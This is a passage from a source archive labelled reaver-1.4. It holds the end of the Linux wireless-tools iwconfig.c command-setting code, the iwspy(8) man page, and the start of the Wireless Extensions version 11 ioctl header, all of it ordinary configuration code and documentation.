wrq.u.power.flags |= IW_POWER_UNICAST_R; if(!strncasecmp(args[i], "multicast", 5)) wrq.u.power.flags |= IW_POWER_MULTICAST_R; if(!strncasecmp(args[i], "force", 5)) wrq.u.power.flags |= IW_POWER_FORCE_S; if(!strcasecmp(args[i], "repeat")) wrq.u.power.flags |= IW_POWER_REPEATER; if(wrq.u.power.flags & IW_POWER_MODE) { ++i; gotone = 1; } } if(!gotone) { errarg = i; return(IWERR_ARG_TYPE); } } if(iw_set_ext(skfd, ifname, SIOCSIWPOWER, &wrq) < 0) return(IWERR_SET_EXT); /* Var args */ return(i); } #ifndef WE_ESSENTIAL /*------------------------------------------------------------------*/ /* * Set Nickname */ static int set_nick_info(int skfd, char * ifname, char * args[], /* Command line args */ int count) /* Args count */ { struct iwreq wrq; int we_kernel_version; /* Avoid "Unused parameter" warning */ count = count; if(strlen(args[0]) > IW_ESSID_MAX_SIZE) { errmax = IW_ESSID_MAX_SIZE; return(IWERR_ARG_SIZE); } we_kernel_version = iw_get_kernel_we_version(); wrq.u.essid.pointer = (caddr_t) args[0]; wrq.u.essid.length = strlen(args[0]); if(we_kernel_version < 21) wrq.u.essid.length++; if(iw_set_ext(skfd, ifname, SIOCSIWNICKN, &wrq) < 0) return(IWERR_SET_EXT); /* 1 args */ return(1); } /*------------------------------------------------------------------*/ /* * Set commit */ static int set_nwid_info(int skfd, char * ifname, char * args[], /* Command line args */ int count) /* Args count */ { struct iwreq wrq; unsigned long temp; /* Avoid "Unused parameter" warning */ count = count; if((!strcasecmp(args[0], "off")) || (!strcasecmp(args[0], "any"))) wrq.u.nwid.disabled = 1; else if(!strcasecmp(args[0], "on")) { /* Get old nwid */ if(iw_get_ext(skfd, ifname, SIOCGIWNWID, &wrq) < 0) return(IWERR_GET_EXT); wrq.u.nwid.disabled = 0; } else if(sscanf(args[0], "%lX", &(temp)) != 1) { errarg = 0; return(IWERR_ARG_TYPE); } else { wrq.u.nwid.value = temp; wrq.u.nwid.disabled = 0; } wrq.u.nwid.fixed = 1; /* Set new nwid */ if(iw_set_ext(skfd, ifname, SIOCSIWNWID, &wrq) < 0) return(IWERR_SET_EXT); /* 1 arg */ return(1); } /*------------------------------------------------------------------*/ /* * Set AP Address */ static int set_apaddr_info(int skfd, char * ifname, char * args[], /* Command line args */ int count) /* Args count */ { struct iwreq wrq; /* Avoid "Unused parameter" warning */ count = count; if((!strcasecmp(args[0], "auto")) || (!strcasecmp(args[0], "any"))) { /* Send a broadcast address */ iw_broad_ether(&(wrq.u.ap_addr)); } else { if(!strcasecmp(args[0], "off")) { /* Send a NULL address */ iw_null_ether(&(wrq.u.ap_addr)); } else { /* Get the address and check if the interface supports it */ if(iw_in_addr(skfd, ifname, args[0], &(wrq.u.ap_addr)) < 0) { errarg = 0; return(IWERR_ARG_TYPE); } } } if(iw_set_ext(skfd, ifname, SIOCSIWAP, &wrq) < 0) return(IWERR_SET_EXT); /* 1 args */ return(1); } /*------------------------------------------------------------------*/ /* * Set Tx Power */ static int set_txpower_info(int skfd, char * ifname, char * args[], /* Command line args */ int count) /* Args count */ { struct iwreq wrq; int i = 1; /* Avoid "Unused parameter" warning */ args = args; count = count; /* Prepare the request */ wrq.u.txpower.value = -1; wrq.u.txpower.fixed = 1; wrq.u.txpower.disabled = 0; wrq.u.txpower.flags = IW_TXPOW_DBM; if(!strcasecmp(args[0], "off")) wrq.u.txpower.disabled = 1; /* i.e. turn radio off */ else if(!strcasecmp(args[0], "auto")) wrq.u.txpower.fixed = 0; /* i.e. use power control */ else { if(!strcasecmp(args[0], "on")) { /* Get old tx-power */ if(iw_get_ext(skfd, ifname, SIOCGIWTXPOW, &wrq) < 0) return(IWERR_GET_EXT); wrq.u.txpower.disabled = 0; } else { if(!strcasecmp(args[0], "fixed")) { /* Get old tx-power */ if(iw_get_ext(skfd, ifname, SIOCGIWTXPOW, &wrq) < 0) return(IWERR_GET_EXT); wrq.u.txpower.fixed = 1; wrq.u.txpower.disabled = 0; } else /* Should be a numeric value */ { int power; int ismwatt = 0; struct iw_range range; /* Extract range info to do proper conversion */ if(iw_get_range_info(skfd, ifname, &range) < 0) memset(&range, 0, sizeof(range)); /* Get the value */ if(sscanf(args[0], "%i", &(power)) != 1) { errarg = 0; return(IWERR_ARG_TYPE); } /* Check if milliWatt * We authorise a single 'm' as a shorthand for 'mW', * on the other hand a 'd' probably means 'dBm'... */ ismwatt = ((strchr(args[0], 'm') != NULL) && (strchr(args[0], 'd') == NULL)); /* We could check 'W' alone... Another time... */ /* Convert */ if(range.txpower_capa & IW_TXPOW_RELATIVE) { /* Can't convert */ if(ismwatt) { errarg = 0; return(IWERR_ARG_TYPE); } wrq.u.txpower.flags = IW_TXPOW_RELATIVE; } else if(range.txpower_capa & IW_TXPOW_MWATT) { if(!ismwatt) power = iw_dbm2mwatt(power); wrq.u.txpower.flags = IW_TXPOW_MWATT; } else { if(ismwatt) power = iw_mwatt2dbm(power); wrq.u.txpower.flags = IW_TXPOW_DBM; } wrq.u.txpower.value = power; /* Check for an additional argument */ if((i < count) && (!strcasecmp(args[i], "auto"))) { wrq.u.txpower.fixed = 0; ++i; } if((i < count) && (!strcasecmp(args[i], "fixed"))) { wrq.u.txpower.fixed = 1; ++i; } } } } if(iw_set_ext(skfd, ifname, SIOCSIWTXPOW, &wrq) < 0) return(IWERR_SET_EXT); /* Var args */ return(i); } /*------------------------------------------------------------------*/ /* * Set Sensitivity */ static int set_sens_info(int skfd, char * ifname, char * args[], /* Command line args */ int count) /* Args count */ { struct iwreq wrq; int temp; /* Avoid "Unused parameter" warning */ count = count; if(sscanf(args[0], "%i", &(temp)) != 1) { errarg = 0; return(IWERR_ARG_TYPE); } wrq.u.sens.value = temp; if(iw_set_ext(skfd, ifname, SIOCSIWSENS, &wrq) < 0) return(IWERR_SET_EXT); /* 1 arg */ return(1); } /*------------------------------------------------------------------*/ /* * Set Retry Limit */ static int set_retry_info(int skfd, char * ifname, char * args[], /* Command line args */ int count) /* Args count */ { struct iwreq wrq; int i = 0; double value; char * unit; /* Parse modifiers */ i = parse_modifiers(args, count, &wrq.u.retry.flags, iwmod_retry, IWMOD_RETRY_NUM); if(i < 0) return(i); /* Add default type if none */ if((wrq.u.retry.flags & IW_RETRY_TYPE) == 0) wrq.u.retry.flags |= IW_RETRY_LIMIT; wrq.u.retry.disabled = 0; /* Is there any value to grab ? */ value = strtod(args[0], &unit); if(unit == args[0]) { errarg = i; return(IWERR_ARG_TYPE); } /* Limit is absolute, on the other hand lifetime is seconds */ if(wrq.u.retry.flags & IW_RETRY_LIFETIME) { struct iw_range range; /* Extract range info to handle properly 'relative' */ if(iw_get_range_info(skfd, ifname, &range) < 0) memset(&range, 0, sizeof(range)); if(range.r_time_flags & IW_RETRY_RELATIVE) { if(range.we_version_compiled < 21) value *= MEGA; else wrq.u.retry.flags |= IW_RETRY_RELATIVE; } else { /* Normalise lifetime */ value *= MEGA; /* default = s */ if(unit[0] == 'u') value /= MEGA; if(unit[0] == 'm') value /= KILO; } } wrq.u.retry.value = (long) value; ++i; if(iw_set_ext(skfd, ifname, SIOCSIWRETRY, &wrq) < 0) return(IWERR_SET_EXT); /* Var args */ return(i); } /*------------------------------------------------------------------*/ /* * Set RTS Threshold */ static int set_rts_info(int skfd, char * ifname, char * args[], /* Command line args */ int count) /* Args count */ { struct iwreq wrq; /* Avoid "Unused parameter" warning */ count = count; wrq.u.rts.value = -1; wrq.u.rts.fixed = 1; wrq.u.rts.disabled = 0; if(!strcasecmp(args[0], "off")) wrq.u.rts.disabled = 1; /* i.e. max size */ else if(!strcasecmp(args[0], "auto")) wrq.u.rts.fixed = 0; else { if(!strcasecmp(args[0], "fixed")) { /* Get old RTS threshold */ if(iw_get_ext(skfd, ifname, SIOCGIWRTS, &wrq) < 0) return(IWERR_GET_EXT); wrq.u.rts.fixed = 1; } else { /* Should be a numeric value */ long temp; if(sscanf(args[0], "%li", (unsigned long *) &(temp)) != 1) { errarg = 0; return(IWERR_ARG_TYPE); } wrq.u.rts.value = temp; } } if(iw_set_ext(skfd, ifname, SIOCSIWRTS, &wrq) < 0) return(IWERR_SET_EXT); /* 1 arg */ return(1); } /*------------------------------------------------------------------*/ /* * Set Fragmentation Threshold */ static int set_frag_info(int skfd, char * ifname, char * args[], /* Command line args */ int count) /* Args count */ { struct iwreq wrq; /* Avoid "Unused parameter" warning */ count = count; wrq.u.frag.value = -1; wrq.u.frag.fixed = 1; wrq.u.frag.disabled = 0; if(!strcasecmp(args[0], "off")) wrq.u.frag.disabled = 1; /* i.e. max size */ else if(!strcasecmp(args[0], "auto")) wrq.u.frag.fixed = 0; else { if(!strcasecmp(args[0], "fixed")) { /* Get old fragmentation threshold */ if(iw_get_ext(skfd, ifname, SIOCGIWFRAG, &wrq) < 0) return(IWERR_GET_EXT); wrq.u.frag.fixed = 1; } else { /* Should be a numeric value */ long temp; if(sscanf(args[0], "%li", &(temp)) != 1) { errarg = 0; return(IWERR_ARG_TYPE); } wrq.u.frag.value = temp; } } if(iw_set_ext(skfd, ifname, SIOCSIWFRAG, &wrq) < 0) return(IWERR_SET_EXT); /* 1 arg */ return(1); } /*------------------------------------------------------------------*/ /* * Set Modulation */ static int set_modulation_info(int skfd, char * ifname, char * args[], /* Command line args */ int count) /* Args count */ { struct iwreq wrq; int i = 1; /* Avoid "Unused parameter" warning */ args = args; count = count; if(!strcasecmp(args[0], "auto")) wrq.u.param.fixed = 0; /* i.e. use any modulation */ else { if(!strcasecmp(args[0], "fixed")) { /* Get old modulation */ if(iw_get_ext(skfd, ifname, SIOCGIWMODUL, &wrq) < 0) return(IWERR_GET_EXT); wrq.u.param.fixed = 1; } else { int k; /* Allow multiple modulations, combine them together */ wrq.u.param.value = 0x0; i = 0; do { for(k = 0; k < IW_SIZE_MODUL_LIST; k++) { if(!strcasecmp(args[i], iw_modul_list[k].cmd)) { wrq.u.param.value |= iw_modul_list[k].mask; ++i; break; } } } /* For as long as current arg matched and not out of args */ while((i < count) && (k < IW_SIZE_MODUL_LIST)); /* Check we got something */ if(i == 0) { errarg = 0; return(IWERR_ARG_TYPE); } /* Check for an additional argument */ if((i < count) && (!strcasecmp(args[i], "auto"))) { wrq.u.param.fixed = 0; ++i; } if((i < count) && (!strcasecmp(args[i], "fixed"))) { wrq.u.param.fixed = 1; ++i; } } } if(iw_set_ext(skfd, ifname, SIOCSIWMODUL, &wrq) < 0) return(IWERR_SET_EXT); /* Var args */ return(i); } #endif /* WE_ESSENTIAL */ /*------------------------------------------------------------------*/ /* * Set commit */ static int set_commit_info(int skfd, char * ifname, char * args[], /* Command line args */ int count) /* Args count */ { struct iwreq wrq; /* Avoid "Unused parameter" warning */ args = args; count = count; if(iw_set_ext(skfd, ifname, SIOCSIWCOMMIT, &wrq) < 0) return(IWERR_SET_EXT); /* No args */ return(0); } /************************** SET DISPATCHER **************************/ /* * This is a modified version of the dispatcher in iwlist. * The main difference is that here we may have multiple commands per * line. Also, most commands here do take arguments, and most often * a variable number of them. * Therefore, the handler *must* return how many args were consumed... * * Note that the use of multiple commands per line is not advised * in scripts, as it makes error management hard. All commands before * the error are executed, but commands after the error are not * processed. * We also try to give as much clue as possible via stderr to the caller * on which command did fail, but if there are two time the same command, * you don't know which one failed... */ /*------------------------------------------------------------------*/ /* * Map command line arguments to the proper procedure... */ typedef struct iwconfig_entry { const char * cmd; /* Command line shorthand */ iw_enum_handler fn; /* Subroutine */ int min_count; int request; /* WE numerical ID */ const char * name; /* Human readable string */ const char * argsname; /* Args as human readable string */ } iwconfig_cmd; static const struct iwconfig_entry iwconfig_cmds[] = { { "essid", set_essid_info, 1, SIOCSIWESSID, "Set ESSID", "{NNN|any|on|off}" }, { "mode", set_mode_info, 1, SIOCSIWMODE, "Set Mode", "{managed|ad-hoc|master|...}" }, { "freq", set_freq_info, 1, SIOCSIWFREQ, "Set Frequency", "N.NNN[k|M|G]" }, { "channel", set_freq_info, 1, SIOCSIWFREQ, "Set Frequency", "N" }, { "bit", set_bitrate_info, 1, SIOCSIWRATE, "Set Bit Rate", "{N[k|M|G]|auto|fixed}" }, { "rate", set_bitrate_info, 1, SIOCSIWRATE, "Set Bit Rate", "{N[k|M|G]|auto|fixed}" }, { "enc", set_enc_info, 1, SIOCSIWENCODE, "Set Encode", "{NNNN-NNNN|off}" }, { "key", set_enc_info, 1, SIOCSIWENCODE, "Set Encode", "{NNNN-NNNN|off}" }, { "power", set_power_info, 1, SIOCSIWPOWER, "Set Power Management", "{period N|timeout N|saving N|off}" }, #ifndef WE_ESSENTIAL { "nickname", set_nick_info, 1, SIOCSIWNICKN, "Set Nickname", "NNN" }, { "nwid", set_nwid_info, 1, SIOCSIWNWID, "Set NWID", "{NN|on|off}" }, { "ap", set_apaddr_info, 1, SIOCSIWAP, "Set AP Address", "{N|off|auto}" }, { "txpower", set_txpower_info, 1, SIOCSIWTXPOW, "Set Tx Power", "{NmW|NdBm|off|auto}" }, { "sens", set_sens_info, 1, SIOCSIWSENS, "Set Sensitivity", "N" }, { "retry", set_retry_info, 1, SIOCSIWRETRY, "Set Retry Limit", "{limit N|lifetime N}" }, { "rts", set_rts_info, 1, SIOCSIWRTS, "Set RTS Threshold", "{N|auto|fixed|off}" }, { "frag", set_frag_info, 1, SIOCSIWFRAG, "Set Fragmentation Threshold", "{N|auto|fixed|off}" }, { "modulation", set_modulation_info, 1, SIOCGIWMODUL, "Set Modulation", "{11g|11a|CCK|OFDMg|...}" }, #endif /* WE_ESSENTIAL */ { "commit", set_commit_info, 0, SIOCSIWCOMMIT, "Commit changes", "" }, { NULL, NULL, 0, 0, NULL, NULL }, }; /*------------------------------------------------------------------*/ /* * Find the most appropriate command matching the command line */ static inline const iwconfig_cmd * find_command(const char * cmd) { const iwconfig_cmd * found = NULL; int ambig = 0; unsigned int len = strlen(cmd); int i; /* Go through all commands */ for(i = 0; iwconfig_cmds[i].cmd != NULL; ++i) { /* No match -> next one */ if(strncasecmp(iwconfig_cmds[i].cmd, cmd, len) != 0) continue; /* Exact match -> perfect */ if(len == strlen(iwconfig_cmds[i].cmd)) return &iwconfig_cmds[i]; /* Partial match */ if(found == NULL) /* First time */ found = &iwconfig_cmds[i]; else /* Another time */ if (iwconfig_cmds[i].fn != found->fn) ambig = 1; } if(found == NULL) { fprintf(stderr, "iwconfig: unknown command \"%s\"\n", cmd); return NULL; } if(ambig) { fprintf(stderr, "iwconfig: command \"%s\" is ambiguous\n", cmd); return NULL; } return found; } /*------------------------------------------------------------------*/ /* * Set the wireless options requested on command line * Find the individual commands and call the appropriate subroutine */ static int set_info(int skfd, /* The socket */ char * args[], /* Command line args */ int count, /* Args count */ char * ifname) /* Dev name */ { const iwconfig_cmd * iwcmd; int ret; /* Loop until we run out of args... */ while(count > 0) { /* find the command matching the keyword */ iwcmd = find_command(args[0]); if(iwcmd == NULL) { /* Here we have an unrecognised arg... Error already printed out. */ return(-1); } /* One arg is consumed (the command name) */ args++; count--; /* Check arg numbers */ if(count < iwcmd->min_count) ret = IWERR_ARG_NUM; else ret = 0; /* Call the command */ if(!ret) ret = (*iwcmd->fn)(skfd, ifname, args, count); /* Deal with various errors */ if(ret < 0) { int request = iwcmd->request; if(ret == IWERR_GET_EXT) request++; /* Transform the SET into GET */ fprintf(stderr, "Error for wireless request \"%s\" (%X) :\n", iwcmd->name, request); switch(ret) { case IWERR_ARG_NUM: fprintf(stderr, " too few arguments.\n"); break; case IWERR_ARG_TYPE: if(errarg < 0) errarg = 0; if(errarg >= count) errarg = count - 1; fprintf(stderr, " invalid argument \"%s\".\n", args[errarg]); break; case IWERR_ARG_SIZE: fprintf(stderr, " argument too big (max %d)\n", errmax); break; case IWERR_ARG_CONFLICT: if(errarg < 0) errarg = 0; if(errarg >= count) errarg = count - 1; fprintf(stderr, " conflicting argument \"%s\".\n", args[errarg]); break; case IWERR_SET_EXT: fprintf(stderr, " SET failed on device %-1.16s ; %s.\n", ifname, strerror(errno)); break; case IWERR_GET_EXT: fprintf(stderr, " GET failed on device %-1.16s ; %s.\n", ifname, strerror(errno)); break; } /* Stop processing, we don't know if we are in a consistent state * in reading the command line */ return(ret); } /* Substract consumed args from command line */ args += ret; count -= ret; /* Loop back */ } /* Done, all done */ return(0); } /*------------------------------------------------------------------*/ /* * Display help */ static inline void iw_usage(void) { int i; fprintf(stderr, "Usage: iwconfig [interface]\n"); for(i = 0; iwconfig_cmds[i].cmd != NULL; ++i) fprintf(stderr, " interface %s %s\n", iwconfig_cmds[i].cmd, iwconfig_cmds[i].argsname); fprintf(stderr, " Check man pages for more details.\n"); } /******************************* MAIN ********************************/ /*------------------------------------------------------------------*/ /* * The main ! */ int main(int argc, char ** argv) { int skfd; /* generic raw socket desc. */ int goterr = 0; /* Create a channel to the NET kernel. */ if((skfd = iw_sockets_open()) < 0) { perror("socket"); exit(-1); } /* No argument : show the list of all device + info */ if(argc == 1) iw_enum_devices(skfd, &print_info, NULL, 0); else /* Special case for help... */ if((!strcmp(argv[1], "-h")) || (!strcmp(argv[1], "--help"))) iw_usage(); else /* Special case for version... */ if(!strcmp(argv[1], "-v") || !strcmp(argv[1], "--version")) goterr = iw_print_version_info("iwconfig"); else { /* '--' escape device name */ if((argc > 2) && !strcmp(argv[1], "--")) { argv++; argc--; } /* The device name must be the first argument */ if(argc == 2) print_info(skfd, argv[1], NULL, 0); else /* The other args on the line specify options to be set... */ goterr = set_info(skfd, argv + 2, argc - 2, argv[1]); } /* Close the socket. */ iw_sockets_close(skfd); return(goterr); } reaver-1.4/src/lwe/iwspy.80000755000175000017500000000553711705505257015042 0ustar reaverreaver.\" Jean II - HPLB - 96 .\" iwspy.8 .\" .TH IWSPY 8 "31 October 1996" "net-tools" "Linux Programmer's Manual" .\" .\" NAME part .\" .SH NAME iwspy \- Get wireless statistics from specific nodes .\" .\" SYNOPSIS part .\" .SH SYNOPSIS .BI "iwspy [" interface ] .br .BI "iwspy " interface " [+] " DNSNAME " | " IPADDR " | " HWADDR " [...]" .br .BI "iwspy " interface " off" .br .BI "iwspy " interface " setthr " "low high" .br .BI "iwspy " interface " getthr" .\" .\" DESCRIPTION part .\" .SH DESCRIPTION .B Iwspy is used to set a list of addresses to monitor in a wireless network interface and to read back quality of link information for each of those. This information is the same as the one available in .I /proc/net/wireless : quality of the link, signal strength and noise level. .PP This information is updated each time a new packet is received, so each address of the list adds some overhead in the driver. .PP Note that this functionality works only for nodes part of the current wireless cell, you can not monitor Access Points you are not associated with (you can use Scanning for that) and nodes in other cells. In Managed mode, in most case packets are relayed by the Access Point, in this case you will get the signal strength of the Access Point. For those reasons this functionality is mostly useful in Ad-Hoc and Master mode. .\" .\" PARAMETER part .\" .SH PARAMETERS You may set any number of addresses up to 8. .TP .BR DNSNAME " | " IPADDR Set an IP address, or in some cases a DNS name (using the name resolver). As the hardware works with hardware addresses, .B iwspy will translate this IP address through .IR ARP . In some case, this address might not be in the ARP cache and .B iwspy will fail. In those case, .IR ping (8) this name/address and retry. .TP .B HWADDR Set a hardware (MAC) address (this address is not translated & checked like the IP one). The address must contain a colon .RB ( : ) to be recognised as a hardware address. .TP .B + Add the new set of addresses at the end of the current list instead of replacing it. The address list is unique for each device, so each user should use this option to avoid conflicts. .TP .B off Remove the current list of addresses and disable the spy functionality .TP .B setthr Set the .I low and .I high signal strength threshold for the iwspy event (for drivers that support it). .br Every time the signal strength for any of the address monitored with iwspy goes lower than the low threshold or goes higher than the high threshold, a Wireless Event will be generated. .br This can be used to monitor link outages without having to run iwspy periodically. .TP .B getthr Retrieve the current .I low and .I high signal strength threshold for the iwspy event. \" .\" FILES part .\" .SH FILES .I /proc/net/wireless .\" .\" SEE ALSO part .\" .SH SEE ALSO .BR iwconfig (8), .BR iwlist (8), .BR iwevent (8), .BR iwpriv (8), .BR wireless (7). reaver-1.4/src/lwe/wireless.11.h0000755000175000017500000004310511705505257016015 0ustar reaverreaver/* * This file define a set of standard wireless extensions * * Version : 11 28.3.01 * * Authors : Jean Tourrilhes - HPL - */ #ifndef _LINUX_WIRELESS_H #define _LINUX_WIRELESS_H /************************** DOCUMENTATION **************************/ /* * Basically, the wireless extensions are for now a set of standard ioctl * call + /proc/net/wireless * * The entry /proc/net/wireless give statistics and information on the * driver. * This is better than having each driver having its entry because * its centralised and we may remove the driver module safely. * * Ioctl are used to configure the driver and issue commands. This is * better than command line options of insmod because we may want to * change dynamically (while the driver is running) some parameters. * * The ioctl mechanimsm are copied from standard devices ioctl. * We have the list of command plus a structure descibing the * data exchanged... * Note that to add these ioctl, I was obliged to modify : * net/core/dev.c (two place + add include) * net/ipv4/af_inet.c (one place + add include) * * /proc/net/wireless is a copy of /proc/net/dev. * We have a structure for data passed from the driver to /proc/net/wireless * Too add this, I've modified : * net/core/dev.c (two other places) * include/linux/netdevice.h (one place) * include/linux/proc_fs.h (one place) * * Do not add here things that are redundant with other mechanisms * (drivers init, ifconfig, /proc/net/dev, ...) and with are not * wireless specific. * * These wireless extensions are not magic : each driver has to provide * support for them... * * IMPORTANT NOTE : As everything in the kernel, this is very much a * work in progress. Contact me if you have ideas of improvements... */ /***************************** INCLUDES *****************************/ #include /* for "caddr_t" et al */ #include /* for "struct sockaddr" et al */ #include /* for IFNAMSIZ and co... */ /**************************** CONSTANTS ****************************/ /* --------------------------- VERSION --------------------------- */ /* * This constant is used to know the availability of the wireless * extensions and to know which version of wireless extensions it is * (there is some stuff that will be added in the future...) * I just plan to increment with each new version. */ #define WIRELESS_EXT 11 /* * Changes : * * V2 to V3 * -------- * Alan Cox start some incompatibles changes. I've integrated a bit more. * - Encryption renamed to Encode to avoid US regulation problems * - Frequency changed from float to struct to avoid problems on old 386 * * V3 to V4 * -------- * - Add sensitivity * * V4 to V5 * -------- * - Missing encoding definitions in range * - Access points stuff * * V5 to V6 * -------- * - 802.11 support (ESSID ioctls) * * V6 to V7 * -------- * - define IW_ESSID_MAX_SIZE and IW_MAX_AP * * V7 to V8 * -------- * - Changed my e-mail address * - More 802.11 support (nickname, rate, rts, frag) * - List index in frequencies * * V8 to V9 * -------- * - Support for 'mode of operation' (ad-hoc, managed...) * - Support for unicast and multicast power saving * - Change encoding to support larger tokens (>64 bits) * - Updated iw_params (disable, flags) and use it for NWID * - Extracted iw_point from iwreq for clarity * * V9 to V10 * --------- * - Add PM capability to range structure * - Add PM modifier : MAX/MIN/RELATIVE * - Add encoding option : IW_ENCODE_NOKEY * - Add TxPower ioctls (work like TxRate) * * V10 to V11 * ---------- * - Add WE version in range (help backward/forward compatibility) * - Add retry ioctls (work like PM) */ /* -------------------------- IOCTL LIST -------------------------- */ /* Basic operations */ #define SIOCSIWNAME 0x8B00 /* Unused */ #define SIOCGIWNAME 0x8B01 /* get name == wireless protocol */ #define SIOCSIWNWID 0x8B02 /* set network id (the cell) */ #define SIOCGIWNWID 0x8B03 /* get network id */ #define SIOCSIWFREQ 0x8B04 /* set channel/frequency (Hz) */ #define SIOCGIWFREQ 0x8B05 /* get channel/frequency (Hz) */ #define SIOCSIWMODE 0x8B06 /* set operation mode */ #define SIOCGIWMODE 0x8B07 /* get operation mode */ #define SIOCSIWSENS 0x8B08 /* set sensitivity (dBm) */ #define SIOCGIWSENS 0x8B09 /* get sensitivity (dBm) */ /* Informative stuff */ #define SIOCSIWRANGE 0x8B0A /* Unused */ #define SIOCGIWRANGE 0x8B0B /* Get range of parameters */ #define SIOCSIWPRIV 0x8B0C /* Unused */ #define SIOCGIWPRIV 0x8B0D /* get private ioctl interface info */ /* Mobile IP support */ #define SIOCSIWSPY 0x8B10 /* set spy addresses */ #define SIOCGIWSPY 0x8B11 /* get spy info (quality of link) */ /* Access Point manipulation */ #define SIOCSIWAP 0x8B14 /* set access point MAC addresses */ #define SIOCGIWAP 0x8B15 /* get access point MAC addresses */ #define SIOCGIWAPLIST 0x8B17 /* get list of access point in range */ /* 802.11 specific support */ #define SIOCSIWESSID 0x8B1A /* set ESSID (network name) */ #define SIOCGIWESSID 0x8B1B /* get ESSID */ #define SIOCSIWNICKN 0x8B1C /* set node name/nickname */ #define SIOCGIWNICKN 0x8B1D /* get node name/nickname */ /* As the ESSID and NICKN are strings up to 32 bytes long, it doesn't fit * within the 'iwreq' structure, so we need to use the 'data' member to * point to a string in user space, like it is done for RANGE... * The "flags" member indicate if the ESSID is active or not (promiscuous). */ /* Other parameters usefull in 802.11 and some other devices */ #define SIOCSIWRATE 0x8B20 /* set default bit rate (bps) */ #define SIOCGIWRATE 0x8B21 /* get default bit rate (bps) */ #define SIOCSIWRTS 0x8B22 /* set RTS/CTS threshold (bytes) */ #define SIOCGIWRTS 0x8B23 /* get RTS/CTS threshold (bytes) */ #define SIOCSIWFRAG 0x8B24 /* set fragmentation thr (bytes) */ #define SIOCGIWFRAG 0x8B25 /* get fragmentation thr (bytes) */ #define SIOCSIWTXPOW 0x8B26 /* set transmit power (dBm) */ #define SIOCGIWTXPOW 0x8B27 /* get transmit power (dBm) */ #define SIOCSIWRETRY 0x8B28 /* set retry limits and lifetime */ #define SIOCGIWRETRY 0x8B29 /* get retry limits and lifetime */ /* Encoding stuff (scrambling, hardware security, WEP...) */ #define SIOCSIWENCODE 0x8B2A /* set encoding token & mode */ #define SIOCGIWENCODE 0x8B2B /* get encoding token & mode */ /* Power saving stuff (power management, unicast and multicast) */ #define SIOCSIWPOWER 0x8B2C /* set Power Management settings */ #define SIOCGIWPOWER 0x8B2D /* get Power Management settings */ /* ------------------------- IOCTL STUFF ------------------------- */ /* The first and the last (range) */ #define SIOCIWFIRST 0x8B00 #define SIOCIWLAST 0x8B30 /* Even : get (world access), odd : set (root access) */ #define IW_IS_SET(cmd) (!((cmd) & 0x1)) #define IW_IS_GET(cmd) ((cmd) & 0x1) /* ------------------------- PRIVATE INFO ------------------------- */ /* * The following is used with SIOCGIWPRIV. It allow a driver to define * the interface (name, type of data) for its private ioctl. * Privates ioctl are SIOCDEVPRIVATE -> SIOCDEVPRIVATE + 0xF */ #define IW_PRIV_TYPE_MASK 0x7000 /* Type of arguments */ #define IW_PRIV_TYPE_NONE 0x0000 #define IW_PRIV_TYPE_BYTE 0x1000 /* Char as number */ #define IW_PRIV_TYPE_CHAR 0x2000 /* Char as character */ #define IW_PRIV_TYPE_INT 0x4000 /* 32 bits int */ #define IW_PRIV_TYPE_FLOAT 0x5000 #define IW_PRIV_SIZE_FIXED 0x0800 /* Variable or fixed nuber of args */ #define IW_PRIV_SIZE_MASK 0x07FF /* Max number of those args */ /* * Note : if the number of args is fixed and the size < 16 octets, * instead of passing a pointer we will put args in the iwreq struct... */ /* ----------------------- OTHER CONSTANTS ----------------------- */ /* Maximum frequencies in the range struct */ #define IW_MAX_FREQUENCIES 16 /* Note : if you have something like 80 frequencies, * don't increase this constant and don't fill the frequency list. * The user will be able to set by channel anyway... */ /* Maximum bit rates in the range struct */ #define IW_MAX_BITRATES 8 /* Maximum tx powers in the range struct */ #define IW_MAX_TXPOWER 8 /* Maximum of address that you may set with SPY */ #define IW_MAX_SPY 8 /* Maximum of address that you may get in the list of access points in range */ #define IW_MAX_AP 8 /* Maximum size of the ESSID and NICKN strings */ #define IW_ESSID_MAX_SIZE 32 /* Modes of operation */ #define IW_MODE_AUTO 0 /* Let the driver decides */ #define IW_MODE_ADHOC 1 /* Single cell network */ #define IW_MODE_INFRA 2 /* Multi cell network, roaming, ... */ #define IW_MODE_MASTER 3 /* Synchronisation master or Access Point */ #define IW_MODE_REPEAT 4 /* Wireless Repeater (forwarder) */ #define IW_MODE_SECOND 5 /* Secondary master/repeater (backup) */ /* Maximum number of size of encoding token available * they are listed in the range structure */ #define IW_MAX_ENCODING_SIZES 8 /* Maximum size of the encoding token in bytes */ #define IW_ENCODING_TOKEN_MAX 32 /* 256 bits (for now) */ /* Flags for encoding (along with the token) */ #define IW_ENCODE_INDEX 0x00FF /* Token index (if needed) */ #define IW_ENCODE_FLAGS 0xFF00 /* Flags defined below */ #define IW_ENCODE_MODE 0xF000 /* Modes defined below */ #define IW_ENCODE_DISABLED 0x8000 /* Encoding disabled */ #define IW_ENCODE_ENABLED 0x0000 /* Encoding enabled */ #define IW_ENCODE_RESTRICTED 0x4000 /* Refuse non-encoded packets */ #define IW_ENCODE_OPEN 0x2000 /* Accept non-encoded packets */ #define IW_ENCODE_NOKEY 0x0800 /* Key is write only, so not present */ /* Power management flags available (along with the value, if any) */ #define IW_POWER_ON 0x0000 /* No details... */ #define IW_POWER_TYPE 0xF000 /* Type of parameter */ #define IW_POWER_PERIOD 0x1000 /* Value is a period/duration of */ #define IW_POWER_TIMEOUT 0x2000 /* Value is a timeout (to go asleep) */ #define IW_POWER_MODE 0x0F00 /* Power Management mode */ #define IW_POWER_UNICAST_R 0x0100 /* Receive only unicast messages */ #define IW_POWER_MULTICAST_R 0x0200 /* Receive only multicast messages */ #define IW_POWER_ALL_R 0x0300 /* Receive all messages though PM */ #define IW_POWER_FORCE_S 0x0400 /* Force PM procedure for sending unicast */ #define IW_POWER_REPEATER 0x0800 /* Repeat broadcast messages in PM period */ #define IW_POWER_MODIFIER 0x000F /* Modify a parameter */ #define IW_POWER_MIN 0x0001 /* Value is a minimum */ #define IW_POWER_MAX 0x0002 /* Value is a maximum */ #define IW_POWER_RELATIVE 0x0004 /* Value is not in seconds/ms/us */ /* Transmit Power flags available */ #define IW_TXPOW_DBM 0x0000 /* Value is in dBm */ #define IW_TXPOW_MWATT 0x0001 /* Value is in mW */ /* Retry limits and lifetime flags available */ #define IW_RETRY_ON 0x0000 /* No details... */ #define IW_RETRY_TYPE 0xF000 /* Type of parameter */ #define IW_RETRY_LIMIT 0x1000 /* Maximum number of retries*/ #define IW_RETRY_LIFETIME 0x2000 /* Maximum duration of retries in us */ #define IW_RETRY_MODIFIER 